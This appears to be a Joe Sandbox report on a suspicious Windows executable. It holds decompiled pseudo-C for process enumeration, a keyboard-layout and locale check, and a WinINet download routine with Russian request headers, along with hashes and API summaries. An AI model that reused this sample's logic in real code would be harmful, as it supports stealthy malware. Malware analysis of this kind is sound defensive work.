0x00405168
0x0040516d
0x00000000
0x00405152
0x00405152
0x00405155
0x00405160
0x00000000
0x00000000
0x00000000
0x00000000
0x00405160
0x00405150
0x00405143
0x00405112
0x004050d2
0x004050d2
0x004050d2
0x004050d5
0x004050dd
0x004050f3
0x004050f3
0x004050f5
0x004050fa
0x004050fd
0x00000000
0x004050df
0x004050df
0x004050e2
0x004050ed
0x00405249
0x00405249
0x0040524e
0x0040524f
0x00405250
0x00405251
0x00405259
0x00405260
0x00405263
0x00405264
0x00405265
0x00405269
0x0040526f
0x00405275
0x0040527b
0x00405288
0x00405298
0x004052a0
0x004052b6
0x004052b8
0x004052ba
0x004052c5
0x004052cd
0x004052d3
0x004052d5
0x004052ea
0x004052ea
0x004052d5
0x004052f1
0x004052f7
0x004052fd
0x00405303
0x0040530a
0x0040530d
0x00405314
0x00405317
0x00405317
0x00405319
0x0040531a
0x0040531a
0x0040532a
0x00405334
0x00405335
0x00405337
0x00405340
0x00000000
0x00000000
0x00000000
0x004050ed
0x004050dd
0x00000000
0x00405170
0x00405170
0x00405173
0x00405176
0x00405179
0x00405182
0x00000000
0x00405182
0x00000000

APIs

Part of subcall function 00404D40: GetKeyboardLayoutList.USER32(00000400,?,D71F2CEC), ref: 00404DD8
Part of subcall function 00404D40: GetLocaleInfoA.KERNEL32(?,00000002,?,000001F4), ref: 00404E0D

Part of subcall function 0040F2F9: EnterCriticalSection.KERNEL32(004504FC,00450DAD,?,?,004063FC,00450F9C,00450FA0,00450FA1), ref: 0040F304
Part of subcall function 0040F2F9: LeaveCriticalSection.KERNEL32(004504FC,?,?,004063FC,00450F9C,00450FA0,00450FA1), ref: 0040F341

__Init_thread_footer.LIBCMT ref: 00404FE8

Part of subcall function 0040F2AF: EnterCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F9C,?,?,00450FA0,00450FA1), ref: 0040F2B9
Part of subcall function 0040F2AF: LeaveCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F9C,?,?,00450FA0,00450FA1), ref: 0040F2EC
Part of subcall function 0040F2AF: RtlWakeAllConditionVariable.NTDLL ref: 0040F363

Strings

GO@., xrefs: 00404F84
|[]], xrefs: 00404F7D
|[]]GO@., xrefs: 00404FC6

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$ConditionInfoInit_thread_footerKeyboardLayoutListLocaleVariableWake
String ID: GO@.$|[]]$|[]]GO@.
API String ID: 960455753-2383573185
Opcode ID: 526d04e7628dade16ed9c6174b30cabb120013b77d3a87ee66e573106d8cd3b5
Instruction ID: e2c6d079d10be8d71250de33f6885bb4e8761343939123920e129599d0c03aef
Opcode Fuzzy Hash: 526d04e7628dade16ed9c6174b30cabb120013b77d3a87ee66e573106d8cd3b5
Instruction Fuzzy Hash: 6681C675D002448BDB14CFA8D98579FBBB0EF09314F54017AE405BB3D2D7B9A948CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00405350 Relevance: 6.1, APIs: 4, Instructions: 80
processCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00405350(void* __ebx, int* _a4, long _a24) {
				signed int _v8;
				signed int _v12;
				char _v272;
				void* _v308;
				signed int _v340;
				int* _v604;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t23;
				void* _t25;
				int _t27;
				int* _t31;
				signed int _t36;
				signed int _t39;
				void* _t49;
				int _t51;
				void* _t53;
				void* _t54;
				int* _t57;
				intOrPtr* _t58;
				long _t63;
				void* _t64;
				void* _t65;
				void* _t66;
				void* _t67;
				void* _t68;
				void* _t70;
				void* _t71;
				int* _t72;
				void* _t73;
				signed int _t74;
				signed int _t75;
				signed int _t76;

				_t23 =  *0x43d054; // 0xd71f2cec
				_v8 = _t23 ^ _t74;
				_push(__ebx);
				_push(_t65);
				_t25 = CreateToolhelp32Snapshot(0xf, 0); // executed
				_t70 = _t25;
				_v308 = 0x128;
				_t27 = Process32First(_t70,  &_v308); // executed
				if(_t27 == 0) {
					L4:
					FindCloseChangeNotification(_t70); // executed
					_t53 = 0;
				} else {
					_t65 = Process32Next;
					while(1) {
						_t47 =  >=  ? _a4 :  &_a4;
						_t49 = E00410590( &_v272,  >=  ? _a4 :  &_a4);
						_t76 = _t76 + 8;
						if(_t49 != 0) {
							break;
						}
						_t51 = Process32Next(_t70,  &_v308); // executed
						if(_t51 != 0) {
							continue;
						} else {
							goto L4;
						}
						goto L5;
					}
					_t53 = 1;
				}
				L5:
				_t63 = _a24;
				if(_t63 < 0x10) {
					L11:
					_pop(_t66);
					_pop(_t71);
					_pop(_t54);
					return E0040EF6F(_t53, _t54, _v8 ^ _t74, _t63, _t66, _t71);
				} else {
					_t57 = _a4;
					_t63 = _t63 + 1;
					_t31 = _t57;
					if(_t63 < 0x1000) {
						L10:
						_push(_t63);
						E0040F1B0(_t57);
						goto L11;
					} else {
						_t57 =  *(_t57 - 4);
						_t63 = _t63 + 0x23;
						if(_t31 - _t57 + 0xfffffffc > 0x1f) {
							E004138D7(_t53, _t63, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t74);
							_t75 = _t76;
							_t36 =  *0x43d054; // 0xd71f2cec
							_v340 = _t36 ^ _t75;
							_push(_t70);
							_push(_t65);
							_t72 = _t57;
							_v604 = _t72;
							_v604 = _t72;
							_t67 = OpenProcess(0x410, 0, _t63);
							__eflags = _t67;
							if(_t67 != 0) {
								__imp__K32GetModuleFileNameExA(_t67, 0,  &_v272, 0x104); // executed
								FindCloseChangeNotification(_t67); // executed
							}
							_t58 =  &_v272;
							 *_t72 = 0;
							_t72[4] = 0;
							_t64 = _t58 + 1;
							_t72[5] = 0xf;
							 *_t72 = 0;
							do {
								_t39 =  *_t58;
								_t58 = _t58 + 1;
								__eflags = _t39;
							} while (_t39 != 0);
							E004026B0(_t53, _t72,  &_v272, _t58 - _t64);
							_pop(_t68);
							__eflags = _v12 ^ _t75;
							_pop(_t73);
							return E0040EF6F(_t72, _t53, _v12 ^ _t75, _t64, _t68, _t73);
						} else {
							goto L10;
						}
					}
				}
			}

0x00405359
0x00405360
0x00405363
0x00405365
0x0040536a
0x00405370
0x00405372
0x00405384
0x0040538c
0x004053c1
0x004053c2
0x004053c8
0x0040538e
0x0040538e
0x00405394
0x0040539b
0x004053a7
0x004053ac
0x004053b1
0x00000000
0x00000000
0x004053bb
0x004053bf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004053bf
0x004053f2
0x004053f2
0x004053ca
0x004053ca
0x004053d0
0x00405400
0x00405405
0x00405406
0x00405409
0x00405412
0x004053d2
0x004053d2
0x004053d5
0x004053d6
0x004053de
0x004053f6
0x004053f6
0x004053f8
0x00000000
0x004053e0
0x004053e0
0x004053e3
0x004053ee
0x00405413
0x00405418
0x00405419
0x0040541a
0x0040541b
0x0040541c
0x0040541d
0x0040541e
0x0040541f
0x00405420
0x00405421
0x00405429
0x00405430
0x00405433
0x00405434
0x00405436
0x0040543a
0x00405445
0x00405451
0x00405453
0x00405455
0x00405466
0x0040546d
0x0040546d
0x00405473
0x00405479
0x0040547f
0x00405486
0x00405489
0x00405490
0x00405493
0x00405493
0x00405495
0x00405496
0x00405496
0x004054a6
0x004054b0
0x004054b1
0x004054b3
0x004054bc
0x004053f0
0x00000000
0x004053f0
0x004053ee
0x004053de

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0040536A
Process32First.KERNEL32(00000000,00000128), ref: 00405384
Process32Next.KERNEL32 ref: 004053BB
FindCloseChangeNotification.KERNEL32(00000000,?,?), ref: 004053C2

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32
String ID:
API String ID: 3243318325-0
Opcode ID: 6eee2b93e751c9a4103b50d9bc8f1f8bab19bc5b3d9bc7dd2f8ec00e49358e9d
Instruction ID: c26f35fad1d7d1a012a718f422f6ce0cbec2ea4096398c3fdf586ea1a8917ebe
Opcode Fuzzy Hash: 6eee2b93e751c9a4103b50d9bc8f1f8bab19bc5b3d9bc7dd2f8ec00e49358e9d
Instruction Fuzzy Hash: 9D21F031200118ABDB20EF25DD45BEF37A8EB45345F90057AF804E6281E778DA86CF68

Uniqueness

Uniqueness Score: -1.00%

Function 00417F5F Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00417F5F(int _a4) {
				void* _t14;

				if(E004207CF(_t14) != 1 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E00417FA1(_t14, _a4);
				ExitProcess(_a4);
			}

0x00417f6c
0x00417f88
0x00417f88
0x00417f91
0x00417f9a

APIs

GetCurrentProcess.KERNEL32(0041CFCF,?,00417F5E,00000000,?,0041CFCF,00000000,0041CFCF), ref: 00417F81
TerminateProcess.KERNEL32(00000000,?,00417F5E,00000000,?,0041CFCF,00000000,0041CFCF), ref: 00417F88
ExitProcess.KERNEL32 ref: 00417F9A

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: ed8121747a5916c0d4d7e76e5998f8eb11bb96fe12b92581084defb0bd95f10c
Instruction ID: af3a431041bbe1f499edb5ccb96201453fd9229a802155165651a331f90f81e1
Opcode Fuzzy Hash: ed8121747a5916c0d4d7e76e5998f8eb11bb96fe12b92581084defb0bd95f10c
Instruction Fuzzy Hash: FBE0B631244548AFCB216F66DD49AAA3B79FB44781B504529F80586231CB3AED93DA88

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB39 Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040FB39() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E0040FB45); // executed
				return _t1;
			}

0x0040fb3e
0x0040fb44

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000FB45,0040F6D8), ref: 0040FB3E

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 981ad55811626b210aa2c02d3bba0bc21d9dbba2acd315e8e01fc7f59dab6b6b
Instruction ID: 0749de135dfadcf683e2c6a119400d423dd2d19661030303c012de1d517762cf
Opcode Fuzzy Hash: 981ad55811626b210aa2c02d3bba0bc21d9dbba2acd315e8e01fc7f59dab6b6b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 10001010 Relevance: 49.7, APIs: 19, Strings: 9, Instructions: 740
networkcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E10001010(long __ecx, void* _a4) {
				char* _v8;
				char* _v12;
				void* _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				unsigned int _v32;
				long _v36;
				void** _v52;
				intOrPtr _v56;
				long _v60;
				char* _v76;
				void _v80;
				intOrPtr _v84;
				char* _v88;
				char* _v104;
				char* _v108;
				void* _v112;
				intOrPtr _v116;
				void* _v120;
				void _v288;
				int _v292;
				long _v296;
				char* _v300;
				char _v316;
				char* _v320;
				char* _v324;
				short* _v328;
				char* _v332;
				char* _v336;
				char* _v340;
				char* _v356;
				signed int _v360;
				char* _v364;
				char* _v380;
				intOrPtr* _v504;
				char _v524;
				long _v532;
				intOrPtr _v536;
				char* _v540;
				char* _v556;
				intOrPtr _v584;
				char* _v620;
				signed int _v676;
				intOrPtr _v680;
				intOrPtr _v696;
				unsigned int _v700;
				signed int _v704;
				unsigned int _v708;
				signed int _v720;
				unsigned int _v724;
				unsigned int _v728;
				long _v732;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t296;
				signed int _t297;
				int _t304;
				intOrPtr _t305;
				char* _t316;
				intOrPtr _t317;
				signed int _t321;
				short* _t323;
				short _t326;
				intOrPtr* _t328;
				void* _t329;
				char* _t331;
				short* _t335;
				char* _t340;
				int _t342;
				intOrPtr _t345;
				intOrPtr _t346;
				char* _t348;
				signed int _t354;
				long _t355;
				long _t357;
				long _t360;
				void** _t373;
				signed int _t382;
				void* _t400;
				void** _t401;
				long _t403;
				signed int _t404;
				signed int _t407;
				unsigned int _t409;
				signed int _t413;
				long _t414;
				void* _t418;
				signed int _t422;
				signed int _t424;
				unsigned int _t426;
				void* _t432;
				char* _t435;
				void* _t443;
				void* _t445;
				long _t459;
				char* _t461;
				char* _t462;
				signed int _t473;
				signed int _t474;
				void* _t476;
				char* _t482;
				intOrPtr _t486;
				intOrPtr _t490;
				void* _t491;
				int _t492;
				void* _t493;
				void* _t494;
				void* _t496;
				char* _t497;
				intOrPtr* _t498;
				long _t499;
				intOrPtr _t500;
				signed int _t502;
				void* _t503;
				signed int _t504;
				long _t505;
				unsigned int _t511;
				long _t515;
				intOrPtr* _t526;
				int _t530;
				short* _t537;
				void* _t544;
				void* _t546;
				char* _t549;
				intOrPtr* _t550;
				void* _t554;
				void** _t564;
				unsigned int _t565;
				unsigned int _t566;
				void* _t567;
				void* _t568;
				char* _t569;
				char* _t577;
				char* _t581;
				void* _t585;
				short* _t588;
				signed int _t591;
				intOrPtr _t595;
				void* _t597;
				intOrPtr _t598;
				unsigned int _t599;
				unsigned int _t600;
				void* _t603;
				intOrPtr _t604;
				void* _t605;
				void* _t608;
				void* _t610;
				void* _t611;
				int _t612;
				short* _t613;
				void* _t615;
				void* _t619;
				void* _t621;
				unsigned int _t622;
				unsigned int _t623;
				signed int _t632;
				void* _t634;
				intOrPtr _t636;
				long _t638;
				void* _t639;
				long _t640;
				void* _t642;
				void* _t643;
				void** _t644;
				long _t645;
				signed int _t652;
				void* _t654;
				signed int _t659;
				signed int _t660;
				void* _t661;
				void* _t662;
				void* _t664;
				void* _t665;
				void* _t666;
				void* _t667;
				signed int _t668;
				void* _t669;
				void* _t671;
				void* _t673;
				void* _t675;
				void* _t676;

				_push(0xffffffff);
				_push(E1000F73B);
				_push( *[fs:0x0]);
				_t665 = _t664 - 0x170;
				_t296 =  *0x10017004; // 0xdfd3a356
				_t297 = _t296 ^ _t659;
				_v24 = _t297;
				_push(_t491);
				_push(_t297);
				 *[fs:0x0] =  &_v16;
				_t638 = __ecx;
				_t683 =  *((intOrPtr*)(__ecx + 0x28));
				_t610 = _a4;
				_v328 = _t610;
				if( *((intOrPtr*)(__ecx + 0x28)) != 0) {
					_v332 =  *((intOrPtr*)(__ecx + 0x34));
				} else {
					_push(0x7800);
					 *((intOrPtr*)(__ecx + 0x30)) = 0x7800;
					_t490 = E1000320D(_t491, _t610, __ecx, _t683);
					_t665 = _t665 + 4;
					 *((intOrPtr*)(_t638 + 0x28)) = _t490;
					 *(_t638 + 0x34) = 0;
					_v332 = 0;
				}
				_v296 = 0;
				InternetSetFilePointer(_t610, 0, 0, 0, 0);
				do {
					_t304 = InternetReadFile(_t610,  &(( *(_t638 + 0x34))[ *((intOrPtr*)(_t638 + 0x28))]), 0x3e8,  &_v296); // executed
					_t584 = _v296;
					_t492 = _t304;
					_t305 =  *((intOrPtr*)(_t638 + 0x30));
					 *(_t638 + 0x34) =  &(( *(_t638 + 0x34))[_t584]);
					_t684 = _t305 -  *(_t638 + 0x34) - 0x3e8;
					if(_t305 -  *(_t638 + 0x34) <= 0x3e8) {
						_t486 = _t305 + 0x7800;
						_push(_t486);
						 *((intOrPtr*)(_t638 + 0x30)) = _t486;
						_t636 = E1000320D(_t492, _t610, _t638, _t684);
						E10005BC0(_t636,  *((intOrPtr*)(_t638 + 0x28)),  &(( *(_t638 + 0x34))[1]));
						E10003224( *((intOrPtr*)(_t638 + 0x28)));
						_t584 = _v296;
						_t665 = _t665 + 0x14;
						 *((intOrPtr*)(_t638 + 0x28)) = _t636;
						_t610 = _v328;
					}
				} while (_t492 != 0 && _t584 != 0);
				_v296 = 0x103;
				E10004730(_t610,  &_v288, 0, 0x104);
				_t666 = _t665 + 0xc;
				if(HttpQueryInfoA(_t610, 0x1d,  &_v288,  &_v296, 0) == 0) {
					L32:
					( *(_t638 + 0x34))[ *((intOrPtr*)(_t638 + 0x28))] = 0;
					 *[fs:0x0] = _v16;
					_pop(_t611);
					_pop(_t639);
					_pop(_t493);
					return E100031FF( *(_t638 + 0x34) - _v332, _t493, _v24 ^ _t659, _t584, _t611, _t639);
				} else {
					_v324 = 0;
					_t316 =  &_v316;
					_v320 = 0;
					__imp__CoCreateInstance(_t316, 0, 1, 0x100101b0,  &_v324);
					if(_t316 < 0 || _v324 == 0) {
						goto L32;
					} else {
						_t526 =  &_v288;
						_v356 = 0;
						_v340 = 0;
						_t585 = _t526 + 1;
						_v336 = 0xf;
						_v356 = 0;
						asm("o16 nop [eax+eax]");
						do {
							_t317 =  *_t526;
							_t526 = _t526 + 1;
						} while (_t317 != 0);
						_push(_t526 - _t585);
						_push( &_v288);
						L83();
						_v8 = 0;
						_t494 = MultiByteToWideChar;
						_t530 =  &(_v340[1]);
						_t320 =  >=  ? _v356 :  &_v356;
						_v292 = _t530;
						_t321 = MultiByteToWideChar(0, 0,  >=  ? _v356 :  &_v356, _t530, 0, 0);
						_t612 = _t321;
						_push( ~(0 | _v336 - 0x00000010 > 0x00000000) | _t321 * 0x00000002);
						_t323 = E1000320D(MultiByteToWideChar, _t612, _t638, _v336 - 0x10);
						_t667 = _t666 + 4;
						_v328 = _t323;
						_t536 =  >=  ? _v356 :  &_v356;
						_t613 = _t323;
						MultiByteToWideChar(0, 0,  >=  ? _v356 :  &_v356, _v292, _t613, _t612);
						_t537 = _t613;
						_v380 = 0;
						_v364 = 0;
						_v360 = 7;
						_v380 = 0;
						_t66 =  &(_t537[1]); // 0x2
						_t588 = _t66;
						do {
							_t326 =  *_t537;
							_t537 =  &(_t537[1]);
						} while (_t326 != 0);
						L108();
						E10003224(_t613);
						_t668 = _t667 + 4;
						_v8 = 1;
						_t328 = _v324;
						_t590 =  >=  ? _v380 :  &_v380;
						_t329 =  *((intOrPtr*)( *_t328 + 0x10))(_t328,  >=  ? _v380 :  &_v380, L"text",  &_v320, _t613, _t537 - _t588 >> 1);
						_v8 = 0;
						_t615 = _t329;
						_t591 = _v360;
						if(_t591 < 8) {
							L19:
							_v8 = 0xffffffff;
							_t584 = _v336;
							_v364 = 0;
							_v360 = 7;
							_v380 = 0;
							if(_t584 < 0x10) {
								L23:
								if(_t615 >= 0) {
									_t704 = _v320;
									if(_v320 != 0) {
										_t496 = ( *(_t638 + 0x34) - _v332) * 8 -  *(_t638 + 0x34) - _v332;
										_push(_t496);
										_t335 = E1000320D(_t496, _t615, _t638, _t704);
										_t669 = _t668 + 4;
										_t544 =  *(_t638 + 0x34) - _v332;
										_v292 = 0;
										_push(0);
										_v300 = 0;
										_t616 =  *_v320;
										_push( &_v292);
										_v328 = _t335;
										_push( &_v300);
										_t584 = _v320;
										_push(_t544);
										_push(_t335);
										_push(_t496);
										_t497 = _v332;
										_push( *((intOrPtr*)(_t638 + 0x28)) + _t497);
										_push(_t544);
										_push(0);
										_push(_v320);
										if( *((intOrPtr*)( *_v320 + 0x10))() >= 0) {
											_t342 = _v292;
											_t595 =  *((intOrPtr*)(_t638 + 0x30));
											_t546 = _t342 + _t497;
											_t706 = _t595 - _t546;
											if(_t595 <= _t546) {
												_t345 = _t546 + 0x3e8;
												_push(_t345);
												 *((intOrPtr*)(_t638 + 0x30)) = _t345;
												_t346 = E1000320D(_t497, _t616, _t638, _t706);
												_push(_t497);
												_push( *((intOrPtr*)(_t638 + 0x28)));
												L134();
												E10003224( *((intOrPtr*)(_t638 + 0x28)));
												_t595 =  *((intOrPtr*)(_t638 + 0x30));
												_t669 = _t669 + 0x10;
												_t342 = _v292;
												 *((intOrPtr*)(_t638 + 0x28)) = _t346;
											}
											_push(_t342);
											_push(_v328);
											_t584 = _t595 - _t497;
											L134();
											_t669 = _t669 + 8;
											 *(_t638 + 0x34) =  &(_t497[_v292]);
										}
										E10003224(_v328);
										_t340 = _v320;
										 *((intOrPtr*)( *_t340 + 8))(_t340);
									}
								}
								_t331 = _v324;
								 *((intOrPtr*)( *_t331 + 8))(_t331);
								goto L32;
							} else {
								_t549 = _v356;
								_t584 = _t584 + 1;
								_t348 = _t549;
								if(_t584 < 0x1000) {
									L22:
									_push(_t584);
									E10003216(_t549);
									_t668 = _t668 + 8;
									goto L23;
								} else {
									_t549 =  *(_t549 - 4);
									_t584 = _t584 + 0x23;
									if(_t348 - _t549 + 0xfffffffc > 0x1f) {
										goto L33;
									} else {
										goto L22;
									}
								}
							}
						} else {
							_t581 = _v380;
							_t608 = 2 + _t591 * 2;
							_t482 = _t581;
							if(_t608 < 0x1000) {
								L18:
								_push(_t608);
								E10003216(_t581);
								_t668 = _t668 + 8;
								goto L19;
							} else {
								_t549 =  *(_t581 - 4);
								_t584 = _t608 + 0x23;
								if(_t482 - _t549 + 0xfffffffc > 0x1f) {
									L33:
									E1000633C(_t494, _t549, _t584, __eflags);
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									_push(_t659);
									_t660 = _t668;
									_push(0xffffffff);
									_push(E1000F78D);
									_push( *[fs:0x0]);
									_t671 = _t668 - 0x68;
									_t354 =  *0x10017004; // 0xdfd3a356
									_t355 = _t354 ^ _t660;
									__eflags = _t355;
									_v532 = _t355;
									_push(_t494);
									_push(_t638);
									_push(_t615);
									_push(_t355);
									 *[fs:0x0] =  &_v524;
									_v620 = _t549;
									_t498 = _v504;
									_t550 = _t498;
									_v556 = 0;
									_v584 = _t498;
									_v540 = 0;
									_v536 = 0xf;
									_t597 = _t550 + 1;
									_v556 = 0;
									do {
										_t357 =  *_t550;
										_t550 = _t550 + 1;
										__eflags = _t357;
									} while (_t357 != 0);
									_push(_t550 - _t597);
									_push(_t498);
									L83();
									_v12 = 0;
									__eflags = _v32 - 0x10;
									_t499 = _v36;
									_t554 =  >=  ? _v52 :  &_v52;
									_v112 = _t554;
									__eflags = _t499 - 7;
									if(_t499 < 7) {
										L54:
										__eflags = _v32 - 0x10;
										_t619 =  >=  ? _v52 :  &_v52;
										__eflags = _t499;
										if(_t499 == 0) {
											L57:
											_t640 = _t638 | 0xffffffff;
											__eflags = _t640;
										} else {
											_t638 = E1000F670(_t619, 0x2f, _t499);
											_t671 = _t671 + 0xc;
											__eflags = _t638;
											if(_t638 == 0) {
												goto L57;
											} else {
												_t640 = _t638 - _t619;
											}
										}
										__eflags = _t499 - _t640;
										_v104 = 0;
										_v88 = 0;
										_t556 =  <  ? _t499 : _t640;
										_v84 = 0xf;
										__eflags = _v32 - 0x10;
										_push( <  ? _t499 : _t640);
										_t359 =  >=  ? _v52 :  &_v52;
										_push( >=  ? _v52 :  &_v52);
										_v104 = 0;
										L83();
										_v12 = 1;
										_t360 = _v36;
										__eflags = _t360 - _t640;
										_t641 =  <  ? _t360 : _t640;
										__eflags = _v32 - 0x10;
										_t559 =  >=  ? _v52 :  &_v52;
										_t361 = _t360 - ( <  ? _t360 : _t640);
										_v36 = _t360 - ( <  ? _t360 : _t640);
										E10005BC0( >=  ? _v52 :  &_v52,  &(( >=  ? _v52 :  &_v52)[ <  ? _t360 : _t640]), _t360 - ( <  ? _t360 : _t640) + 1);
										_t500 = _v116;
										_t620 = 0;
										_v108 = 0;
										E10006419(_t500 + 0x44, 0x104, _v80, 0x103);
										_t673 = _t671 + 0x1c;
										asm("sbb eax, eax");
										_t642 = InternetOpenA( *(_t500 + 0xc),  ~( *(_t500 + 0x38)) & 0x00000003,  *(_t500 + 0x38), 0, 0);
										_v112 = _t642;
										__eflags = _t642;
										if(_t642 == 0) {
											L70:
											_t598 = _v84;
											__eflags = _t620;
											_t502 = 0 | _t620 > 0x00000000;
											__eflags = _t598 - 0x10;
											if(_t598 < 0x10) {
												L74:
												_t599 = _v32;
												_v88 = 0;
												_v84 = 0xf;
												_v104 = 0;
												__eflags = _t599 - 0x10;
												if(_t599 < 0x10) {
													L78:
													 *[fs:0x0] = _v20;
													_pop(_t621);
													_pop(_t643);
													_pop(_t503);
													__eflags = _v28 ^ _t660;
													return E100031FF(_t502, _t503, _v28 ^ _t660, _t599, _t621, _t643);
												} else {
													_t564 = _v52;
													_t599 = _t599 + 1;
													_t373 = _t564;
													__eflags = _t599 - 0x1000;
													if(_t599 < 0x1000) {
														L77:
														_push(_t599);
														E10003216(_t564);
														goto L78;
													} else {
														_t564 =  *(_t564 - 4);
														_t599 = _t599 + 0x23;
														__eflags = _t373 - _t564 + 0xfffffffc - 0x1f;
														if(__eflags > 0) {
															goto L81;
														} else {
															goto L77;
														}
													}
												}
											} else {
												_t569 = _v104;
												_t603 = _t598 + 1;
												_t435 = _t569;
												__eflags = _t603 - 0x1000;
												if(_t603 < 0x1000) {
													L73:
													_push(_t603);
													E10003216(_t569);
													_t673 = _t673 + 8;
													goto L74;
												} else {
													_t564 =  *(_t569 - 4);
													_t599 = _t603 + 0x23;
													__eflags = _t435 - _t564 + 0xfffffffc - 0x1f;
													if(__eflags > 0) {
														goto L81;
													} else {
														goto L73;
													}
												}
											}
										} else {
											_v80 = 1;
											InternetSetOptionA(_t642, 0x41,  &_v80, 4);
											__eflags = _v84 - 0x10;
											_t442 =  >=  ? _v104 :  &_v104;
											_t443 = InternetConnectA(_t642,  >=  ? _v104 :  &_v104, 0x50,  *(_t500 + 0x3c),  *(_t500 + 0x40), 3, 0, 1);
											_t502 = InternetCloseHandle;
											_v120 = _t443;
											__eflags = _t443;
											if(_t443 == 0) {
												L69:
												InternetCloseHandle(_t642);
												goto L70;
											} else {
												__eflags = _v32 - 0x10;
												_t571 =  >=  ? _v52 :  &_v52;
												_t445 = HttpOpenRequestA(_t443, "GET",  >=  ? _v52 :  &_v52, 0, 0, 0, 0x80400000, 1); // executed
												_t620 = _t445;
												__eflags = _t620;
												if(_t620 == 0) {
													L68:
													InternetCloseHandle(_v120);
													_t620 = _v108;
													goto L69;
												} else {
													_push(0x7d);
													_v76 = 0;
													_push("Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1");
													_v60 = 0;
													_v56 = 0xf;
													_v76 = 0;
													L83();
													_v12 = 2;
													__eflags = _v56 - 0x10;
													_t642 = HttpAddRequestHeadersA;
													_t448 =  >=  ? _v76 :  &_v76;
													HttpAddRequestHeadersA(_t620,  >=  ? _v76 :  &_v76, _v60, 0x20000000);
													_push(0x28);
													_push("Accept-Language: ru-RU,ru;q=0.9,en;q=0.8");
													L83();
													__eflags = _v56 - 0x10;
													_t451 =  >=  ? _v76 :  &_v76;
													HttpAddRequestHeadersA(_t620,  >=  ? _v76 :  &_v76, _v60, 0x20000000);
													_push(0x32);
													_push("Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1");
													L83();
													__eflags = _v56 - 0x10;
													_t454 =  >=  ? _v76 :  &_v76;
													HttpAddRequestHeadersA(_t620,  >=  ? _v76 :  &_v76, _v60, 0x20000000);
													_push(0x37);
													_push("Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0");
													L83();
													__eflags = _v56 - 0x10;
													_t457 =  >=  ? _v76 :  &_v76;
													HttpAddRequestHeadersA(_t620,  >=  ? _v76 :  &_v76, _v60, 0x20000000);
													_v12 = 1;
													_t604 = _v56;
													__eflags = _t604 - 0x10;
													if(_t604 < 0x10) {
														L65:
														_t459 = HttpSendRequestA(_t620, 0, 0, 0, 0);
														__eflags = _t459;
														if(_t459 != 0) {
															_push(_t620); // executed
															_t461 = E10001010(_v116); // executed
															_v108 = _t461;
														}
														InternetCloseHandle(_t620);
														_t642 = _v112;
														goto L68;
													} else {
														_t577 = _v76;
														_t605 = _t604 + 1;
														_t462 = _t577;
														__eflags = _t605 - 0x1000;
														if(_t605 < 0x1000) {
															L64:
															_push(_t605);
															E10003216(_t577);
															_t673 = _t673 + 8;
															goto L65;
														} else {
															_t564 =  *(_t577 - 4);
															_t599 = _t605 + 0x23;
															__eflags = _t462 - _t564 + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																goto L80;
															} else {
																goto L64;
															}
														}
													}
												}
											}
										}
									} else {
										_t149 = _t499 - 6; // -6
										_v108 = _t149 + _t554;
										_t638 = E1000F670(_t554, 0x68, _t149 + _t554 - _t554);
										_t671 = _t671 + 0xc;
										__eflags = _t638;
										if(_t638 != 0) {
											asm("o16 nop [eax+eax]");
											do {
												_t564 = _t638;
